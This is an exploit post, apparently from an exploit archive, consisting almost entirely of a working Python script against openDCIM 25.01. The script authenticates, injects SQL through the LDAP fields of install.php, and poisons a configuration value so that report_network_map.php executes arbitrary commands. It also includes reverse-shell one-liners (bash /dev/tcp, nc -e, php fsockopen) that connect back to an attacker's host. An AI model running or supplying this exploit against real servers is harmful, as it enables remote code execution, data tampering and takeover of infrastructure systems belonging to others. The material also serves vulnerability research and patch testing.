📄 openDCIM 25.01 SQL Injection

==================================================================================================================================
    | # Title     : openDCIM 25.01 Python Exploit – Authenticated & Time-Based Detection                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://opendcim.org/downloads.html                                                                              |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a security exploitation tool targeting a logical SQL Injection vulnerability in openDCIM’s install.php endpoint, which can be escalated to Remote Code Execution (RCE).
    
    [+] POC   :  
    
    #!/usr/bin/env python3
    
    import sys
    import re
    import time
    import random
    import string
    import requests
    import urllib3
    import argparse
    from urllib.parse import urljoin
    from base64 import b64encode
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    class Color:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        PURPLE = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        RESET = '\033[0m'
        BOLD = '\033[1m'
    
    
    def print_success(msg):
        print(f"{Color.GREEN}[+]{Color.RESET} {msg}")
    
    
    def print_error(msg):
        print(f"{Color.RED}[-]{Color.RESET} {msg}")
    
    
    def print_status(msg):
        print(f"{Color.BLUE}[*]{Color.RESET} {msg}")
    
    
    def print_warning(msg):
        print(f"{Color.YELLOW}[!]{Color.RESET} {msg}")
    
    
    class OpenDCIMExploit:
        LDAP_FIELDS = [
            'LDAPServer', 'LDAPBaseDN', 'LDAPBindDN', 'LDAPSessionExpiration',
            'LDAPSiteAccess', 'LDAPReadAccess', 'LDAPWriteAccess', 'LDAPDeleteAccess',
            'LDAPAdminOwnDevices', 'LDAPRackRequest', 'LDAPRackAdmin',
            'LDAPContactAdmin', 'LDAPSiteAdmin'
        ]
    
        DOT_PARAM = 'dot'
        SQLI_WRAP = ['" WHERE 1=0; ', ' -- ']
    
        def __init__(self, target_url, username, password, verify_ssl=False, timeout=30):
            self.target_url = target_url.rstrip('/')
            self.username = username
            self.password = password
            self.verify_ssl = verify_ssl
            self.timeout = timeout
            self.session = requests.Session()
            self.backup_table = None
            self.authenticated = False
    
        def _get_install_url(self):
            return urljoin(self.target_url, 'install.php')
    
        def _get_report_url(self):
            return urljoin(self.target_url, 'report_network_map.php')
    
        def _get_login_url(self):
            return urljoin(self.target_url, 'index.php')
    
        def authenticate(self):
            print_status(f"Authenticating as {self.username}...")
            try:
                response = self.session.get(self._get_login_url(), verify=self.verify_ssl, timeout=self.timeout)
    
                csrf_token = None
                csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', response.text)
                if csrf_match:
                    csrf_token = csrf_match.group(1)
    
                login_data = {
                    'user_login': self.username,
                    'user_password': self.password,
                    'submit': 'Login'
                }
    
                if csrf_token:
                    login_data['csrf_token'] = csrf_token
    
                response = self.session.post(
                    self._get_login_url(),
                    data=login_data,
                    verify=self.verify_ssl,
                    timeout=self.timeout,
                    allow_redirects=True
                )
    
                if 'logout' in response.text.lower() or 'dashboard' in response.text.lower():
                    print_success("Authentication successful")
                    self.authenticated = True
                    return True
                else:
                    print_warning("Authentication may have failed, but continuing anyway...")
                    return False
    
            except Exception as e:
                print_warning(f"Authentication error: {e}")
                return False
    
        def _inject_sql(self, field, sql_query):
            form_data = {'ldapaction': 'Set'}
            for field_name in self.LDAP_FIELDS:
                form_data[field_name] = ''
    
            form_data[field] = f"{self.SQLI_WRAP[0]}{sql_query}{self.SQLI_WRAP[1]}"
    
            try:
                response = self.session.post(
                    self._get_install_url(),
                    data=form_data,
                    verify=self.verify_ssl,
                    timeout=self.timeout,
                    allow_redirects=True
                )
                return response.status_code in [200, 302]
    
            except Exception as e:
                print_error(f"SQL injection failed: {e}")
                return False
    
        def check_vulnerability(self):
            print_status("Checking if target is vulnerable...")
    
            try:
                response = self.session.get(self._get_install_url(), verify=self.verify_ssl, timeout=self.timeout)
    
                if response.status_code not in [200, 302]:
                    print_error(f"install.php returned status {response.status_code}")
                    return False
    
                body = response.text
                if not any(k in body for k in ['ldapaction', 'openDCIM', 'Upgrade']):
                    print_warning("install.php doesn't look like openDCIM")
                    return False
    
            except Exception as e:
                print_error(f"Failed to access install.php: {e}")
                return False
    
            print_success("install.php is accessible")
            print_status("Testing time-based SQL injection...")
    
            success = 0
    
            for i in range(3):
                sleep_time = random.randint(1, 3)
                start = time.time()
    
                self._inject_sql(
                    random.choice(self.LDAP_FIELDS),
                    f"SELECT SLEEP({sleep_time})"
                )
    
                elapsed = time.time() - start
    
                if elapsed >= sleep_time:
                    success += 1
                    print_success(f"Delay detected ({elapsed:.1f}s)")
                else:
                    print_warning(f"No delay detected ({elapsed:.1f}s)")
    
            return success == 3
    
        def backup_config(self):
            self.backup_table = ''.join(random.choices(string.ascii_lowercase, k=8))
            print_status(f"Creating backup table: {self.backup_table}")
    
            sql = (
                f"DROP TABLE IF EXISTS {self.backup_table}; "
                f"CREATE TABLE {self.backup_table} AS "
                f"SELECT Parameter, Value FROM fac_Config "
                f"WHERE Parameter LIKE 'LDAP%' OR Parameter = '{self.DOT_PARAM}'"
            )
    
            return self._inject_sql('LDAPServer', sql)
    
        def poison_dot(self, command):
            escaped = command.replace('\\', '\\\\')
            print_status(f"Poisoning dot parameter...")
    
            sql = f"UPDATE fac_Config SET Value = '{escaped}' WHERE Parameter = '{self.DOT_PARAM}'"
            return self._inject_sql('LDAPBaseDN', sql)
    
        def restore_config(self):
            if not self.backup_table:
                return False
    
            print_status("Restoring configuration...")
    
            sql = (
                f"UPDATE fac_Config c INNER JOIN {self.backup_table} b "
                f"ON c.Parameter = b.Parameter SET c.Value = b.Value; "
                f"DROP TABLE IF EXISTS {self.backup_table}"
            )
    
            return self._inject_sql('LDAPSiteAdmin', sql)
    
        def trigger_execution(self):
            try:
                r = self.session.get(self._get_report_url(),
                                      params={'format': '0', 'containerid': '1'},
                                      verify=self.verify_ssl,
                                      timeout=self.timeout)
                return r.text.strip()
            except:
                return None
    
        def execute_command(self, command):
            print_status(f"Executing: {command}")
    
            if not self.backup_config():
                return None
    
            if not self.poison_dot(command + " #"):
                self.restore_config()
                return None
    
            output = self.trigger_execution()
            self.restore_config()
    
            return output
    
        def reverse_shell(self, lhost, lport, shell_type='bash'):
    
            payloads = {
                'bash': f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
                'nc': f"nc -e /bin/sh {lhost} {lport}",
                'python': f"python3 -c 'import socket,subprocess,os; ...'",
                'php': f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            }
    
            if shell_type not in payloads:
                return False
    
            print_status(f"Reverse shell: {lhost}:{lport}")
    
            print_warning(f"Make sure listener is running (nc -lvnp {lport})")
    
            self.execute_command(payloads[shell_type])
            return True
    
    
    def main():
        parser = argparse.ArgumentParser()
    
        parser.add_argument('target')
        parser.add_argument('username')
        parser.add_argument('password')
        parser.add_argument('command', nargs='?', default='id')
    
        args = parser.parse_args()
    
        print("=" * 60)
        print("openDCIM SQLi RCE Exploit")
        print("=" * 60)
    
        exploit = OpenDCIMExploit(args.target, args.username, args.password)
    
        exploit.authenticate()
    
        if not exploit.check_vulnerability():
            print_error("Not vulnerable")
            sys.exit(1)
    
        output = exploit.execute_command(args.command)
    
        if output:
            print("\n[OUTPUT]\n", output)
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================